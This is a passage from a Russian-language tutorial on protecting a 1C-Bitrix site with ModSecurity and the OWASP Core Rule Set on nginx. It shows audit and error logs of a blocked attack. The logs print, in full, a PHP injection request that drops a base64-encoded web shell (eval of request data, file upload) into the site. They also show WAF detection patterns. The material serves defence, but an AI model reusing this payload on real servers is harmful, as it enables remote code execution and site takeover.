sec-fetch-mode: navigate
host: www.waf.lezh.loc
accept-encoding: gzip, deflate, br, zstd
cookie: PHPSESSID=Gp9tblGjHY3hWob2qTMVj2kYsbTLCwcQ
accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
priority: u=0, i

---bwtyMgHr---D--

---bwtyMgHr---E--
<html>\x0d\x0a<head><title>403 Forbidden</title></head>\x0d\x0a<body>\x0d\x0a<center><h1>403 Forbidden</h1></center>\x0d\x0a<hr><center>nginx/1.26.3</center>\x0d\x0a</body>\x0d\x0a</html>\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a<!-- a padding to disable MSIE and Chrome friendly error page -->\x0d\x0a

---bwtyMgHr---F--
HTTP/2.0 403
Server: nginx/1.26.3
Date: Tue, 17 Jun 2025 18:07:13 GMT
Content-Length: 555
Content-Type: text/html
Connection: close

---bwtyMgHr---H--
ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)<\?(?:[^x]|x(?:[^m]|m(?:[^l]|l(?:[^\s\x0b]|[\s\x0b]+[^a-z]|$)))|$|php)|\[[/\x5c]?php\]' against variable `ARGS:data' (Value: `<?php fIle_puT_CoNtEnTS($_SERVER["DOCUMENT_ROOT"]."/ajax/d2e79ff595e4.php",BASe64_DEcoDE("PD9waHAgZW (551 characters omitted)' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "47"] [id "933100"] [rev ""] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:data: <?php fIle_puT_CoNtEnTS($_SERVER[\x22DOCUMENT_ROOT\x22].\x22/ajax/d2e79ff595e4.php\x22,BASe64_DEcoDE(\x22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgz (493 characters omitted)"] [severity "2"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/ATTACK-PHP"] [tag "capec/1000/152/242"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref "o0,3v35,651"]
ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `php-variables.data' against variable `ARGS:data' (Value: `<?php fIle_puT_CoNtEnTS($_SERVER["DOCUMENT_ROOT"]."/ajax/d2e79ff595e4.php",BASe64_DEcoDE("PD9waHAgZW (551 characters omitted)' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "146"] [id "933130"] [rev ""] [msg "PHP Injection Attack: Variables Found"] [data "Matched Data: $_SERVER found within ARGS:data: <?php fIle_puT_CoNtEnTS($_SERVER[\x22DOCUMENT_ROOT\x22].\x22/ajax/d2e79ff595e4.php\x22,BASe64_DEcoDE(\x22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDY (498 characters omitted)"] [severity "2"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/ATTACK-PHP"] [tag "capec/1000/152/242"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref "o24,8v35,651t:normalisePath,t:urlDecodeUni"]
ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `php-function-names-933150.data' against variable `ARGS:data' (Value: `<?php fIle_puT_CoNtEnTS($_SERVER["DOCUMENT_ROOT"]."/ajax/d2e79ff595e4.php",BASe64_DEcoDE("PD9waHAgZW (551 characters omitted)' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "320"] [id "933150"] [rev ""] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: base64_decode found within ARGS:data: <?php fIle_puT_CoNtEnTS($_SERVER[\x22DOCUMENT_ROOT\x22].\x22/ajax/d2e79ff595e4.php\x22,BASe64_DEcoDE(\x22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT (503 characters omitted)"] [severity "2"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/ATTACK-PHP"] [tag "capec/1000/152/242"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref "o75,13v35,651"]
ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)\b\(?[\"']*(?:assert(?:_options)?|c(?:hr|reate_function)|e(?:val|x(?:ec|p))|f(?:ile(?:group)?|open|puts)|glob|i(?:mage(?:gif|(?:jpe|pn)g|wbmp|xbm)|s_a)|m(?:d5|kdir)|o(?:pendir|rd)|p(?:assthru|open (154 characters omitted)' against variable `ARGS:data' (Value: `<?php fIle_puT_CoNtEnTS($_SERVER["DOCUMENT_ROOT"]."/ajax/d2e79ff595e4.php",BASe64_DEcoDE("PD9waHAgZW (551 characters omitted)' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "373"] [id "933160"] [rev ""] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: unlink($_SERVER[\x22DOCUMENT_ROOT\x22].\x22/ajax/js_error.txt\x22) found within ARGS:data: <?php fIle_puT_CoNtEnTS($_SERVER[\x22DOCUMENT_ROOT\x22].\x22/ajax/d2e79ff595e4.php\x22,BASe64_DEcoDE(\x22PD9waHAgZWNobyA0M (544 characters omitted)"] [severity "2"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/ATTACK-PHP"] [tag "capec/1000/152/242"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref "o594,54v35,651"]
ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `20' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "222"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [data ""] [severity "0"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref ""]

---bwtyMgHr---I--

---bwtyMgHr---J--

---bwtyMgHr---Z--

Вот, таким образом мы добились того, что вредоносные запросы не достигают ядра сайта, ядра CMS 1С-Битрикс, а останавливаются веб-сервером Nginx заранее. Запрос даже не успевает оказаться переданным Apache. Кстати, а кое-что можно увидеть и в журнале ошибок nginx.

2025/06/17 21:07:13 [error] 18465#18465: *3 [client 10.15.17.32] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `20' ) [file "/etc/nginx/modsec/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "222"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [data ""] [severity "0"] [ver "OWASP_CRS/4.16.0-dev"] [maturity "0"] [accuracy "0"] [tag "anomaly-evaluation"] [tag "OWASP_CRS"] [hostname "www.waf.lezh.loc"] [uri "/ajax/error_log_logic.php"] [unique_id "175018363359.287835"] [ref ""], client: 10.15.17.32, server: www.waf.lezh.loc, request: "GET /ajax/error_log_logic.php?data=%3C?php%20fIle_puT_CoNtEnTS($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/d2e79ff595e4.php%22,BASe64_DEcoDE(%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22));unlink($_SERVER[%22DOCUMENT_ROOT%22].%22/ajax/js_error.txt%22);?%3E HTTP/2.0", host: "www.waf.lezh.loc"

Конечно же будут случаи блокировки со стороны ModSecurity вполне легальных запросов страниц сайта. У того же Битрикса могут быть встроенные в шаблон сайта таблицы стилей и JavaScript-сценарии, запросы к которым будут блокироваться. Могут блокироваться и запросы к каталогу товаров, внутри которого URL товаров и групп товаров формируется транслитом, а значит, в теории, с точки зрения машинных алгоритмов это может выглядеть как ненормальная последовательность символов.

Если замечаете в аудит-логе такие блокировки, можно создать отдельный подключаемый набор разрешающих правил, и подключать его к тем виртуальным хостам, которым эти правила требуются.

Дальше, если хотите, можете с помощью shell-скрипта анализировать эти логи, по характерным признакам извлекать из них IP-адреса источников, и добавлять эти адреса в динамические листы своего файрволла на сервере. Не забывайте о том, что подобные меры увеличат нагрузку на ресурсы сервера. Но защита это удовольствие не дешёвое.

Ну, а если вам требуется комплексная настройка, обращайтесь.

Сайт принадлежит ООО Группа Ралтэк. 2014 — 2025 гг